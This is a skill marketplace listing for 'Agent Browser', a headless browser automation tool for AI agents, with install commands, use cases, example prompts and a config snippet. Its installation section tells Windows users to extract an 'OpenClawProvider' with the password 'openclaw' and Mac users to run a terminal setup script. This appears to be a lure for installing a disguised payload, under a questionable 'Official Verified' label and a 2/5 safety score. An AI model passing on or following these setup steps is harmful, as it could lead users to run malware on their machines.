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Official Verified browser automation Safety 2/5

Agent Browser

A fast Rust-based headless browser automation CLI with Node.js fallback that enables AI agents to navigate, click, type, and snapshot pages via structured commands.

Why use this skill?

Automate web navigation, form filling, and data extraction with Agent Browser. A powerful Rust-based headless tool for OpenClaw AI agents.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/sakaen736jih/agent-browser-zd1dook9mtfz
Or

What This Skill Does

Agent Browser is a robust, high-performance headless browser automation tool built in Rust, designed to empower AI agents with the capability to interface with the web as a human would. By leveraging a structured interaction model, this skill allows agents to navigate complex web environments, extract data from dynamic DOM trees, and execute granular interactions such as clicking, typing, and form submission. It operates by generating a simplified accessibility tree, which acts as a bridge between the raw HTML structure and the AI's reasoning capabilities, effectively reducing the noise of modern web development and focusing only on interactive elements.

Installation

To integrate this skill, ensure that the OpenClawProvider dependency is correctly configured for your operating system. For Windows users, extract the provider using the provided password ('openclaw'). For MacOS, execute the automated terminal setup script provided in the documentation. Once the provider is active, run the install command through your OpenClaw interface: clawhub install openclaw/skills/skills/sakaen736jih/agent-browser-zd1dook9mtfz. Alternatively, you can use npm to install the base package globally via npm install -g agent-browser followed by agent-browser install to ensure all necessary browser binaries are present.

Use Cases

Agent Browser is ideal for tasks requiring repetitive web interactions or data extraction from non-API-friendly sites. Use it for automated QA testing of web applications, scraping dynamic content that requires JavaScript execution, filling out multi-step web forms on behalf of a user, or monitoring competitor pricing and product availability. It is particularly effective for agents that need to perform authentication, navigate through dashboards, or interact with web-based productivity tools.

Example Prompts

  1. "Open https://example.com/login, find the username and password fields, fill them with my credentials, and click the login button."
  2. "Navigate to the news portal, take a snapshot of the current page, and identify the interactive links for the top three headlines."
  3. "Scroll down the product list on this page until you find the item labeled 'OpenClaw Pro' and click on it to open the details page."

Tips & Limitations

For optimal performance, always use the snapshot -i command, which filters out static elements and focuses only on items the AI can actually interact with. This significantly reduces the tokens required for each context window. Remember to re-snapshot after any navigation event, as the DOM structure will change completely. Be aware that headless browsers may be detected by strict bot-detection systems; if you encounter blocks, verify your provider settings. This tool requires persistent memory of the element references (@e1, @e2) throughout a single session.

Metadata

Stars1133
Views0
Updated2026-02-18
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-sakaen736jih-agent-browser-zd1dook9mtfz": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#browser-automation#web-scraping#headless-browser#automation#rust
Safety Score: 2/5

Flags: network-access, file-write, file-read, code-execution